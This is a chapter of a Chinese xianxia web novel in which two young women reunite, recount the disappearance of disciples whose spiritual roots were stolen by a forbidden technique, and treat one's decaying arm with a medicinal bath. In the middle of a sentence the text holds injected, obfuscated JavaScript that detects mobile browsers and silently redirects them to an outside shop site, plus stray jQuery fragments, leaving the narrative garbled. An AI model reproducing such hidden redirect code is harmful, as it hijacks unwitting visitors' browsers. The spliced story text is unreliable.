18. 固灵术

作品:《二师兄你脸红作甚

    是夜。


    池襄身披深色披风在檐壁间穿行着,避开大会的夜巡弟子和守卫们,像只雀儿般降落在一处院落中,大力推开房门。


    房内人本低头翻阅古书,听见动静看了过来。


    凌霜月看清来人的脸,微微睁大了眼睛,下意识便要开口。


    池襄唤她:“霜月。”


    话又生生咽入腹中,凌霜月上上下下打量她一番,又要看头又要看尾,就这么一双眼睛,颇有些目不暇接。


    但身子却没动。


    池襄又唤了她一声,底气不足起来。


    “霜月。”


    “听我解释……”


    下一刻那道身影便如飞蝶般扑上来,双臂紧紧搂住她的脖子,力度几乎勒得她喘不来气,池襄踉跄后退一步。


    凌霜月紧紧抱住她。


    分离大半年,两个本亲密无间的女孩心中都无比想念,从分离那刻起,便是如此。


    凌霜月的古书已经被抛到九霄云外去了,她紧紧箍着池襄,原本见面前的怨怼消散不见,她现在只想好好抱着池襄。


    池襄感到颈间一阵湿润,心中也是无比怅惘,但两个人不能相对而泣,那样就真要没完没了。


    她心疼摸摸凌霜月温热的后颈,但并没有出言制止,很多时候哭泣都是最好的发泄法子,况且凌霜月只是这样无声搂着她流泪。


    她们很久没见了,从认识那年起,从未分离过这么久。


    而且……


    池襄摸摸鼻子,她现在很心虚。


    就这么搂了好半晌,凌霜月才堪堪松开她,池襄一看,整个脸都哭红了。


    尤其是那双眼睛,凌霜月的眼皮很薄,平日里那般耷拉着看谁都没什么表情,就连池襄有时都看不透她在想什么,此时红肿不已,成了任谁来都能看出的伤心。


    “霜月,”池襄抚了抚她。


    凌霜月一脸悲伤,动作却无情,倏然拍开她的手。


    “啊,”池襄可怜地叫了一声。


    “我还没有准你摸我,”凌霜月恢复了一半的面无表情,“你是不是觉得这样骗我很好玩?”


    “说好的一起探寻真相,一起救人,一起阻止这个不知道谁策划的阴谋,你偏要一个人逞英雄!”


    凌霜月话越说越快越来越气愤,到最后已经吼起来,“你不要这么看我!”


    池襄收起委屈巴巴的脸色,恢复了寻常表情,很快的抓住了凌霜月的手,“我有谋划的。”


    “你有什么谋划!”凌霜月气得七窍生烟,使足了劲要甩开这个人的手,但没有成功。


    她要被池襄气死了,她最开始就不该和池襄说药人的事,凌霜月凝结出一道灵气砸在池襄身上。


    强大的灵气闪出道刺眼的光,池襄没忍住闭眼,缓了下再睁开,发现自己右边的袖子没有了。


    ——凌霜月将她袖子削去了一边。


    这还不够,凌霜月捏紧她的右手,闭眼凝了道法诀,那掩盖在上面的障眼法便不见了。


    一只可怕的手臂暴露出来,如同枯枝朽木,看着无比瘆人,关节似乎都无法再活动,接触到空气后又加深了一个色。


    “你看着你的手,你还能昧着良心说自己早就有规划?!”凌霜月死死捏住池襄的那只手。


    腐朽情况比数月前更加严重了,池襄不得不承认,原本只是手,现在已经到了手腕,并隐隐往手臂上蔓延。


    她对上凌霜月红肿的眸子,轻声道:“但我们需要一个实验对象,不是吗?”


    凌霜月觉得她不可理喻,怎么就这么厉害,从前明明做什么二人都是一起,你不瞒我,我不瞒你,二人之间藏无秘密。


    怎么就成了这样?


    凌霜月闭了闭眼,恍然忆起那个夜晚。


    很久很久之前的某个深夜,黑云蔽月,她们刚探得药人的初步面目。


    修真界许多弟子莫名消失不见,最初大家只以为是意外,先将消息瞒下来,派遣人手前去寻找,但事情的走向逐渐不对起来。


    失踪的人越来越多,越来越密集,并以区域成片蔓延,最早出现在人界京城周边,周围几个宗门短短数月便已失踪了数十名弟子,就此杳无音信。


    最后找回来的人寥寥无几,不,应该说,只有一位。


    因这些人多是家世平凡的弟子,没有地方申诉,没有家族势力庇护,只有凡世的家人们在寻找,也未掀起什么风浪。


    有着悬壶济世名号的凌家古族这一支,世代栖息于月华谷,尤以这一脉凌霜月最为出众。


    那些失踪的弟子,多是新兴宗门天赋出众的新入门弟子,灵根资质优异,假以时日,有极大可能能成长为一代天骄,振兴宗门。


    但最致命的是,他们就算侥幸回来,也不能再修炼了。


    ——因为他们没有了灵根。


    ……


    真正意义上的没了灵根,位于丹田处的那簇灵根消失了,修仙之人最为宝贵的存在,是修炼之基、之本源,没了灵根,便无法再修炼。


    这是千百年来从未有过的事。


    灵根能捏碎,能重塑,能洗髓以净化,就是不能凭空消失。


    凌霜月探得那个唯一的弟子的丹田处,属于灵力的白光仍在,根却不见了。


    他的父母年纪很大了,长久居于乡间,凡世之中,修仙之事有人信,有人不信,一般弟子们除了宗门一向是不准滥用灵力的,许多人未曾亲眼见过,便当它不存在。


    最初甚至有偏激者视其为妖物,但随着仙门势力的壮大,早已同人界皇帝达成和平合约,虽还是不能直接公之于众,但已是一切尽在不言中的存在。


    而这对老夫妇,常年劳作于农田之中,却是凡人中思想极其开放的,他们唯一的儿子自小就喊着要修仙修仙,旁人皆当他是患了癔症。


    只有他的爹娘,走了许多山路,迈过许多个山头,还真找到了一个小小的宗门。


    然后将儿子送了进去,笑呵呵携手回家继续为农田劳作。


    他们的儿子也不负父母,在新一代弟子中脱颖而出,马上就要成为这代首席弟子。


    就在这前一晚,他失踪了。


    然后一切都变了。


    ……


    再归来,他已沦为一介废人。


    他的父母不知是在哪里听说凌家医术天下有名,又不知是如何找上云游在外的月华谷弟子,这么七弯八拐,还真联系上了凌霜月。


    凌霜月千里迢迢而去,为那个弟子诊治


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357437|199136||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,看清他丹田状况的那一刻,凌霜月脑子一片空白。


    她从未见过这样的状况,空无一物的丹田,就算她逝去的爷爷来了,也束手无策。


    而后来,越来越多的弟子失去踪迹,甚至蔓延至月华谷!


    月华谷消失的是一个外门弟子。


    那个不知名组织或许是在一次次行动中学聪明了,他们开始混着捉弟子,各种灵根天赋的都有,但他们的目标太明显,迟来的掩人耳目并无效果。


    有些家里甚是重视,甚至家中有些势力的弟子也被卷入,家族大发雷霆势要揪出凶手,最后却没了下文。


    不知背后是何等庞大的势力。


    云瑶仙尊使手段去探查过,却一无所获,那些人个个讳莫如深,这也令整个事件更加扑朔迷离。


    也更加可怕……


    灵根脱离了人体根本无法再存活,他们是如何挖去,又有何作用?


    凌霜月和池襄翻遍了谷中、家中留下的上古典籍,终于在一本破破烂烂的孤本中有了些许收获。


    固灵术。


    此乃早已被整个修仙界封禁的古术,手段残忍,即在善此术之人的主导下,选用一位修炼者,取其心头血,并炼化其丹田,强行注入另一凡人体内,便可化腐朽为神奇,让这本毫无修仙天赋之人获得与被炼化者相等的资质。


    而被炼化者,照从前的记载,大多顷刻爆体而亡,少数失神失志,沦为不能思考的活死人。


    二人看到这皆没了动作。


    再去寻那位弟子,奔赴许久才至,他父母却只说,他们到的前几日,他已逝世了。


    ……


    “你是怎么学会的?”凌霜月抓着池襄,眸中又弥漫起些许怨。


    怨她不告诉自己,怨她拿自己的性命开玩笑。


    “这个……暂时保密,”池襄不愿意告诉凌霜月。


    二人对视着,凌霜月最终败下阵来,知道她不会告诉自己。


    再开口,已带了些哭腔,“来泡药浴。”


    池襄看去,房中竟有一偌大汤池,池水泛着一股熏人的草药味。


    “能让你缓解的药浴。”


    一旦成为药人,便无可救药。


    不知道池襄做了什么,让症状比寻常药人减轻许多,只停留在一只手,但这已足够让她忧心,刚从云瑶仙尊那得知消息那几日,她几乎夜不能寐。


    想着会不会襄儿也成了那样。


    ……这是不可以的,襄儿的天赋那么高,她以后还要给那些欺负她的人看,她能到的高度。


    她查了许多书,才又寻得固龄术的踪迹,没有解决的法子,上面只模模糊糊列出些草药,凌霜月研究一番确认,觉得勉强可用。


    于是泡了这么大一池药汤等池襄来。


    池襄脱衣入水,闭目运功。


    过了会儿赫然睁开眼睛,凌霜月连忙问她,“怎么样?!不舒服你就先出来!”


    池襄无言,伸手给她看。


    只见那长久腐烂般的枯木手,颜色淡了许多,回到了普通的木头质感。


    “有用!”


    凌霜月几乎喜极而泣,她素来没什么表情的脸今日已破例多次。


    二人这才真真正正相视一笑。